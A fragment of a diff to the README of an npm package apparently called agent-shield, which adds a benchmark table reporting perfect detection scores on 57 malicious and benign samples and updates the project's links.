|
357
|
+
|
|
358
|
+
## Benchmark
|
|
359
|
+
|
|
360
|
+
| Metric | Value |
|
|
361
|
+
|--------|-------|
|
|
362
|
+
| Samples | 57 (33 malicious + 24 benign) |
|
|
363
|
+
| Recall | 100% |
|
|
364
|
+
| Precision | 100% |
|
|
365
|
+
| F1 Score | **100%** |
|
|
366
|
+
| False Positive Rate | 0% |
|
|
283
367
|
|
|
284
368
|
## Contributing
|
|
285
369
|
|
|
@@ -287,9 +371,8 @@ See [CONTRIBUTING.md](CONTRIBUTING.md) for how to add new rules.
|
|
|
287
371
|
|
|
288
372
|
## Links
|
|
289
373
|
|
|
290
|
-
- 📦 [npm](https://www.npmjs.com/package/@elliotllliu/
|
|
374
|
+
- 📦 [npm](https://www.npmjs.com/package/@elliotllliu/agent-shield)
|
|
291
375
|
- 📖 [Rule Documentation](docs/rules.md)
|
|
292
|
-
- 📊 [ClawHub Security Report](docs/clawhub-security-report.md)
|
|
293
376
|
- 🇨🇳 [中文 README](README.zh-CN.md)
|
|
294
377
|
|
|
295
378
|
## License
|